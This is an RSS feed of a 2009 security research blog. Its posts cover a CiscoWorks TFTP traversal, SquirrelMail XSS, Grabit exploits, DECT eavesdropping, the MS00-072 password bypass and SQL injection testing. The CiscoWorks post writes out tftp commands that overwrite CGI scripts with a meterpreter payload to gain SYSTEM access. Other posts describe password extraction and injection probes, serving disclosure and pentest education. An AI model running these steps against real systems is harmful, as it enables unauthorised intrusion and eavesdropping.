OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-4893007977570818359?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/FtI3AKZXQO8/sheets-of-my-owasp-talk-on-csrf.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/06/sheets-of-my-owasp-talk-on-csrf.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4213547608963422390</guid><pubDate>Sat, 23 May 2009 21:57:00 +0000</pubDate><atom:updated>2009-05-26T23:50:37.641+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TFTP</category><category domain="http://www.blogger.com/atom/ns#">CiscoWorks</category><category domain="http://www.blogger.com/atom/ns#">exploitation</category><category domain="http://www.blogger.com/atom/ns#">exploit</category><category domain="http://www.blogger.com/atom/ns#">directory traversal</category><title>CiscoWorks TFTP directory traversal exploit</title><description>A couple of days ago, Cisco released an &lt;a href="http://http//www.cisco.com/warp/public/707/cisco-sa-20090520-cw.shtml"&gt;advisory&lt;/a&gt; for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    niels@hac:~$ tftp target &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    tftp&gt; get ...\...\...\...\...\...\...\boot.ini &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Received 187 bytes in 0.0 seconds &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    tftp&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.&lt;br /&gt;&lt;br /&gt;The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.&lt;br /&gt;&lt;br /&gt;The TFTP root is "&lt;span style="font-family:courier new;"&gt;C:\Program Files\CSCOpx\tftpboot&lt;/span&gt;" by default. The directory "&lt;span style="font-family:courier new;"&gt;C:\Program Files\CSCOpx\cgi-bin\error&lt;/span&gt;" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.&lt;br /&gt;&lt;br /&gt;I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    tftp&gt; binary&lt;br /&gt;tftp&gt; put meter.exe ...\cgi-bin\error\500.pl &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Sent 9732 bytes in 0.1 seconds &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a &lt;span style="font-family:courier new;"&gt;system("500.pl");&lt;/span&gt; and uploaded it to the server:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    tftp&gt; put exec.pl ...\cgi-bin\error\404.pl    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Sent 36 bytes in 0.0 seconds &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [*] Meterpreter session 1 opened (hac:4444 -&gt; target:1298)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    meterpreter &gt; &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;getuid&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-4213547608963422390?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/pI2GTLRHwxY/ciscoworks-tftp-directory-traversal.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/05/ciscoworks-tftp-directory-traversal.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7772771367451765644</guid><pubDate>Tue, 12 May 2009 19:45:00 +0000</pubDate><atom:updated>2009-05-12T22:50:33.915+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">XSS</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">squirrelmail</category><title>Time to update SquirrelMail</title><description>Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;A reflected XSS caused by unsafe handling of the &lt;span style="font-family:courier new;"&gt;$PHP_SELF&lt;/span&gt; variable&lt;/li&gt;&lt;li&gt;A reflected XSS caused by unsafe handling of user supplied encrypted data&lt;/li&gt;&lt;li&gt;A remote command execution vulnerability (only in very specific configurations)&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;The &lt;a href="http://www.squirrelmail.org/security/issue/2009-05-08"&gt;first XSS&lt;/a&gt; is caused by the fact that SquirrelMail only used the &lt;a href="http://nl2.php.net/strip_tags"&gt;strip_tags&lt;/a&gt; function to filter this variable. As the variable is often used within tags, you can still inject additional HTML attributes (think onmouseover). This was exploitable in multiple scripts. SquirrelMail now uses &lt;a href="http://nl2.php.net/htmlspecialchars"&gt;htmlspecialchars&lt;/a&gt; instead.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.squirrelmail.org/security/issue/2009-05-09"&gt;second XSS&lt;/a&gt; is rather interresting. SquirrelMail comes with a test &lt;a href="http://squirrelmail.svn.sourceforge.net/viewvc/squirrelmail/trunk/squirrelmail/contrib/decrypt_headers.php"&gt;script&lt;/a&gt; which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.squirrelmail.org/security/issue/2009-05-10"&gt;last bug&lt;/a&gt; occurs only in very specific configurations. If you have more than one imap server, there is &lt;a href="http://squirrelmail.org/docs/admin/admin-5.html#ss5.8"&gt;a way&lt;/a&gt; to configure that in SquirrelMail. If you configure this &lt;span style="font-weight: bold;"&gt;and&lt;/span&gt; use the example &lt;span style="font-family:courier new;"&gt;map_yp_alias&lt;/span&gt; function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7772771367451765644?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/0o8VaIOT0jc/time-to-update-squirrelmail.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/05/time-to-update-squirrelmail.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7583015710155548317</guid><pubDate>Thu, 07 May 2009 20:23:00 +0000</pubDate><atom:updated>2009-05-10T11:14:21.877+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">exploit development</category><category domain="http://www.blogger.com/atom/ns#">Grabit</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Grabit exploits are available (but not working)</title><description>I have seen two exploits so far for the NZB overflow, both on &lt;a href="http://milw0rm.com/"&gt;milw0rm&lt;/a&gt; (&lt;a href="http://milw0rm.com/exploits/8612"&gt;here&lt;/a&gt; and &lt;a href="http://milw0rm.com/exploits/8637"&gt;here&lt;/a&gt;). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.&lt;br /&gt;&lt;br /&gt;The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').&lt;br /&gt;&lt;br /&gt;When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7583015710155548317?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/aDLW8ddeAqU/grabit-exploits-are-available.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.teusink.net/2009/05/grabit-exploits-are-available.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-6639258355293514719</guid><pubDate>Sun, 03 May 2009 21:21:00 +0000</pubDate><atom:updated>2009-05-03T23:23:53.640+02:00</atom:updated><title>Grabit &lt;= 1.7.2 beta 3 NZB file parsing stack overflow</title><description>I can’t usually find the time for vulnerability research, but a while ago I found a bug in &lt;a href="http://shemes.com/index.php?p=home"&gt;Grabit&lt;/a&gt;, a popular usenet client with NZB support. I posted the following message to &lt;a href="http://www.securityfocus.com/archive/1"&gt;Bugtraq&lt;/a&gt; and &lt;a href="https://lists.grok.org.uk/mailman/listinfo/full-disclosure"&gt;Full Disclosure&lt;/a&gt; today:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Grabit &lt;= 1.7.2 beta 3 NZB file parsing stack overflow&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Impact: Remote code execution&lt;br /&gt;Version: &lt;= 1.7.2 beta 3&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Description&lt;/span&gt;&lt;br /&gt;Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Fix&lt;/span&gt;&lt;br /&gt;I reported this to the author a while ago. He has now released version 1.7.2 beta  4, which fixes the bug. It can be downloaded at http://www.shemes.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-6639258355293514719?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/RjCJmhOy2PE/grabit-172-beta-3-nzb-file-parsing.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/05/grabit-172-beta-3-nzb-file-parsing.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-2017240025470156968</guid><pubDate>Wed, 08 Apr 2009 19:33:00 +0000</pubDate><atom:updated>2009-04-09T08:00:24.609+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">afluisteren</category><category domain="http://www.blogger.com/atom/ns#">sniffing</category><category domain="http://www.blogger.com/atom/ns#">telefonie</category><category domain="http://www.blogger.com/atom/ns#">security</category><category domain="http://www.blogger.com/atom/ns#">DECT</category><title>Tonight on Dutch television, NOVA: Het afluisteren van DECT-telefoons</title><description>In other words, some Dutch media attention on DECT eavesdropping. There has been very little coverage of DECT security issues in the Dutch media, so I’m hoping this broadcast will change that.&lt;br /&gt;&lt;br /&gt;DECT sniffing has become easier since &lt;a href="http://blog.teusink.net/2009/01/my-dect-handset-actually-wants-to.html"&gt;my last post&lt;/a&gt;. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot  CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.&lt;br /&gt;&lt;br /&gt;I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt; Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course 'Where can I get one of those eavesdropping things, it sounds like fun'.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update2:&lt;/span&gt; &lt;a href="http://nieuws.nl.msn.com/algemeen/article.aspx?cp-documentid=15833936"&gt;It&lt;/a&gt; &lt;a href="http://www.depers.nl/binnenland/298724/Privegesprek-af-te-luisteren.html"&gt;looks&lt;/a&gt; &lt;a href="http://www.trouw.nl/nieuws/nederland/article2516509.ece/_Gevoelige_telefoontjes_simpel_af_te_luisteren_.html"&gt;like&lt;/a&gt; &lt;a href="http://www.spitsnieuws.nl/archives/tech/2009/04/huistelefoon_blijft_simpel_af.html"&gt;the&lt;/a&gt; &lt;a href="http://www.nu.nl/algemeen/1946292/huistelefoon-simpel-af-te-luisteren.html"&gt;media&lt;/a&gt; &lt;a href="http://frontpage.fok.nl/nieuws/108990/-Gevoelige-telefoontjes-simpel-af-te-luisteren.html"&gt;coverage&lt;/a&gt; &lt;a href="http://www.nos.nl/nos/artikelen/2009/04/art000001C9B89503B96211.html"&gt;has&lt;/a&gt; &lt;a href="http://www.ad.nl/binnenland/3137853/Gevoelige_telefoontjes_simpel_af_te_luisteren.html"&gt;arrived&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-2017240025470156968?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/ff-t3SDSTcc/tonight-on-dutch-television-nova-het.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.teusink.net/2009/04/tonight-on-dutch-television-nova-het.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7430487274702445747</guid><pubDate>Tue, 10 Mar 2009 20:56:00 +0000</pubDate><atom:updated>2009-03-10T22:05:43.564+01:00</atom:updated><title>Microsoft just released a patch for some WPAD vulnerabilities</title><description>Microsoft has just release three security bulletins, among them is MS09-008. This bulletin describes two DNS spoofing vulnerabilities, apparently caused by lack of caching of certain queries. The bulletin also fixes two WPAD related vulnerabilities: "DNS Server Vulnerability in WPAD Registration" and "WPAD WINS Server Registration Vulnerability". Both vulnerabilities have been known for a long time, they are caused by the fact that a lot of organizations do not have WPAD servers. An attacker could register himself as the WPAD server at a WINS server or a DNS server (if dynamic updates are enabled) and start replying to WPAD requests. According to Microsoft the vulnerabilities are fixed by "modifying the way that Windows WINS servers responds to WPAD and ISATAP name resolution requests" and "modifying the way that Windows DNS servers respond to WPAD name resolution requests". I wonder what that means...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-7430487274702445747?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/IcoMDdU82wg/microsoft-patch-for-wpad.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/03/microsoft-patch-for-wpad.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-5019354511396153965</guid><pubDate>Sun, 15 Feb 2009 20:25:00 +0000</pubDate><atom:updated>2009-02-15T21:28:12.700+01:00</atom:updated><title>Classic Bug: Windows 95/98/ME share password bypass (part 2)</title><description>In &lt;a href="http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share.html"&gt;part 1&lt;/a&gt; of this article I described how MS00-072 could be used to bypass authentication on a Windows 95/98/ME share. In this part, I will describe how this can be used to extract the password.&lt;br /&gt;&lt;br /&gt;I described how a zero length password could bypass the authentication, but what if we want to know the actual password? This could be handy as the password may be used on other systems or if we want to use non-modified software to access the share after extracting the password.&lt;br /&gt;&lt;br /&gt;To accomplish this we simply try to guess the password one character at the time. Let me explain: instead of using a zero length password, we use the following:&lt;br /&gt;&lt;br /&gt; &lt;pre&gt;[password length=1][password=A]&lt;/pre&gt;&lt;br /&gt;Notice we do not NULL terminate our password, and do not add one to the password length. Lets revisit our verifyPassword function:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){&lt;br /&gt; for(int i=0; i&amp;lt;length; i++){&lt;br /&gt;  if (givenPassword[i] != realPassword[i]){&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; return true;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When we supply a password with a length of one, the function will compare our one character password ('A') with the first character of the actual password. If they match, authentication is successful, if they do not, authentication fails. We can use this to determine the first character of the actual password. If authentication fails, we simply try the password 'B' and so on.&lt;br /&gt;When we have found the first character (say it’s 'P'), we add another character to the password and try ‘PA’ with a length of 2. When we found the second character we add a third one and so on. If we want to know if we have the full password we simply add a NULL byte instead of a character and if authentication succeeds, we have the complete password.&lt;br /&gt;&lt;br /&gt;This process is automated by the tool pqWak, which can be found &lt;a href="http://packetstormsecurity.org/0010-exploits/pqwak2.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So is this bug still relevant? Well I think so, as it certainly isn’t the only one of its kind. In 2004 a very similar bug was found in MySQL (&lt;a href="[http://www.nextgenss.com/advisories/mysql-authbypass.txt]"&gt;advisory&lt;/a&gt;), you could access a MySQL server without actually knowing the password.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-5019354511396153965?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/DgV7Wqhn7Ww/classic-bug-windows-9598me-share_15.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share_15.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-8968265716011152138</guid><pubDate>Sun, 15 Feb 2009 20:22:00 +0000</pubDate><atom:updated>2009-02-15T21:28:42.818+01:00</atom:updated><title>Classic Bug: Windows 95/98/ME share password bypass (part 1)</title><description>Another oldie, this time &lt;a href="http://www.microsoft.com/technet/security/bulletin/MS00-072.mspx"&gt;MS00-072&lt;/a&gt;: bypassing Windows 95/98/ME share level passwords. In Windows ME and earlier, you could share a folder and put a password on it, so only people in possession of the password could access your shared files over the network.&lt;br /&gt;&lt;br /&gt;This vulnerability is interesting because this authentication could by bypassed completely. Furthermore, you could use it to recover the actual password. The function to verify the password probably looked something like this pseudo code:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){&lt;br /&gt; for(int i=0; i&amp;lt;length; i++){&lt;br /&gt;  if (givenPassword[i] != realPassword[i]){&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; return true;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The  code does not look so bad at first glance. It takes three parameters, the supplied password and its length and the actual share password. Both passwords are NULL-terminated. The password length includes the NULL byte, so the password ‘12345’ would have a length of 6. It then starts to compare the two byte-by-byte. If any of bytes in the two passwords differ, the verification fails and access is denied.&lt;br /&gt;&lt;br /&gt;As I mentioned in the above paragraph, the supplied length of the password includes the NULL byte, so even an empty password would have a length of 1 (the NULL byte itself). This is where the problem lies. The relevant part of a legitimate authentication packet would look like this (password could be empty):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;[password length+1][password][NULL byte]&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So for an empty password, password length = 1 and the above function would simply compare 1 byte (the NULL byte). If the actual password is also empty (e.g. consists of only a NULL byte), access is granted.&lt;br /&gt;&lt;br /&gt;Now you might wonder what happens if the password length is set to 0 (this should never happen, as there is always a NULL byte). What happens is we bypass authentication. Looking at the above function, if givenLength is equal to 0, we never enter the for loop. Thus, we never compare any characters and authentication is always successful.&lt;br /&gt;&lt;br /&gt;In &lt;a href="http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share_15.html"&gt;part 2&lt;/a&gt; I will describe how an exploit called pqWak uses this bug to determine the password remotely.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-8968265716011152138?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/9ZGDHeDrnM0/classic-bug-windows-9598me-share.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-2225056288873073998</guid><pubDate>Sun, 15 Feb 2009 20:10:00 +0000</pubDate><atom:updated>2009-02-15T21:15:06.667+01:00</atom:updated><title>Some DECT updates</title><description>The dedected team has gotten the Type III cards to work! I tested one of mine today (an Ascom Voo:doo) and it seems to be working properly. Meanwhile the prices on Type II cards are still &lt;a href="http://shop.ebay.nl/items/?_nkw=com+on+air+pcmcia"&gt;pretty&lt;/a&gt; &lt;a href="http://www.hardware-oase.de/index.php/cPath/6_37/category/COM-ON-AIR.html"&gt;high&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In a previous post I mentioned a patch which allows capturing directly to .wav files, so conversion is no longer necessary. A newer version of &lt;a href="http://lists.gnumonks.org/pipermail/dedected/2009-January/000205.html"&gt;this patch&lt;/a&gt; was posted about a month ago. This version also allows live voice playing. I tested the patch last weekend but on my laptop the live voice playing feature ‘stutters’ a bit (could be because I also applied the patch from &lt;a href="https://dedected.org/trac/changeset/44"&gt;r44&lt;/a&gt;). The capturing directly to .wav files works great though. I haven’t posted a sample with good audio quality so far, so &lt;a href="http://www.teusink.net/0800call.wav"&gt;here&lt;/a&gt; is one to get an idea of the sound quality (some random English voice menu). There are some &lt;a href="http://lists.gnumonks.org/pipermail/dedected/2009-January/000090.html"&gt;manual decoding hints&lt;/a&gt; on the mailing lists, I’ll have to look up which method the patch uses.&lt;br /&gt;&lt;br /&gt;Siemens Germany has posted a list of Gigaset phones which use encryption &lt;a href="http://gigaset.com/shc/0,1935,de_de_0_167507_rArNrNrNrN,00.html"&gt;here&lt;/a&gt; (I could not find it on the Dutch or English versions of gigaset.com). The Gigaset 4010 phone I was able to eavesdrop on is simply not on the list.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-2225056288873073998?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/0LZcb9V-Toc/some-dect-updates.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/02/some-dect-updates.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-3543925944372223239</guid><pubDate>Tue, 27 Jan 2009 12:17:00 +0000</pubDate><atom:updated>2009-01-27T17:14:22.687+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">sql injection</category><title>Why you should not use ‘OR 1=1’ when testing for SQL injection (part 2)</title><description>In my &lt;a href="http://blog.teusink.net/2009/01/everybody-who-has-read-paper-on-sql.html"&gt;previous post&lt;/a&gt;, I explained why testing for SQL injection using ‘OR 1=1’ can lead to data loss. In this article, I will describe an alternative and safer approach.&lt;br /&gt;&lt;br /&gt;I like to use ‘AND 1=0’ instead of ‘OR 1=1’. This does not increase the number of items affected by a query, but (in most cases) results in the query returning 0 rows (as 1=0 is never true ?). In our previous example of a site displaying articles, no article would have been displayed. The resulting query would become:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;SELECT title,text,hitcount FROM articles WHERE id=1234&lt;span style="font-weight:bold;"&gt; AND 1=0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That query would return 0 rows. So now what? We’re looking at the site we’re testing and no article is displayed, so what? It doesn’t mean there’s SQL injection. Well, now we enter ‘AND 1=1’  after the articleID and the following query is executed:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;SELECT title,text,hitcount FROM articles WHERE id=1234&lt;span style="font-weight:bold;"&gt; AND 1=1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now the ‘AND 1=1’ does not affect the original query, and article 1234 is displayed. At this point I am pretty sure I have SQL injection and could try a UNION SELECT to extract more information from the database. &lt;br /&gt;&lt;br /&gt;Of course, this is not the only solution to this problem, but it’s one of the safest to use (unless the application displays SQL errors). For bypassing authentication I still sometimes use the OR approach, but in most cases you do not have to take the risk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7971789192074433033-3543925944372223239?l=blog.teusink.net' alt='' /&gt;&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/blogteusinknet/~3/VTgbfa1Q4C0/why-you-should-not-use-or-11-when.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.teusink.net/2009/01/why-you-should-not-use-or-11-when.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-4083950410542550481</guid><pubDate>Mon, 26 Jan 2009 20:34:00 +0000</pubDate><atom:updated>2009-01-27T17:14:02.937+01:00</atom:updated><title>Why you should not use ‘OR 1=1’ when testing for SQL injection (part 1)</title><description>Everybody who has read a paper on SQL injection has seen the ‘OR 1=1’ example (or the similar ‘ OR ‘’=’). It is the classic method for bypassing authentication when an application does not sanitize user input before using it in SQL queries.&lt;br /&gt;&lt;br /&gt;I think it is somewhat overused. Often I see pentesters throwing this kind of string into each input field, hoping to trigger an SQL injection or some kind of error. Some tools which test for SQL injection (for example Nessus) also do it.&lt;br /&gt;&lt;br /&gt;So why do I think it’s bad? Well, because it can have a major impact on the query that’s executed and has the potential to break things. Production systems are often the target of pentests and we should try not to break those.&lt;br /&gt;&lt;br /&gt;Unless you have the source code to the application, you can’t know exactly what happens with your input string. Most people assume they are injecting into SELECT statements, but of course, applications also use DELETE, UPDATE and INSERT, which modify the database. Let me give you a real life example, we once cam e across an application which did this ($articleID comes from user input):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;‘SELECT title,text,hitcount FROM articles WHERE id=’ + $articleID&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A prime target for SQL injection! But a little further in the code something else happens:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;‘UPDATE articles SET hitcount=’ + $hitcount+1 ‘ WHERE id=’ + $articleID&lt;/span&gt;&lt;br /&gt;   &lt;br /&gt;So the application first retrieves the title,text and hitcount for a certain article from the database, all is well here, the only thing that happens if we enter ‘OR 1=1’ after the articleID is that the application will receive all articles from the database and will most likely pick the first one.&lt;br /&gt;&lt;br /&gt;The next statement is a different story, as the application tries to change something. It has retrieved the ‘hitcount’ for the article in the previous query (the hitcount being the number of times the article has been viewed) and uses it in a different query, to update the hit counter with a new view. 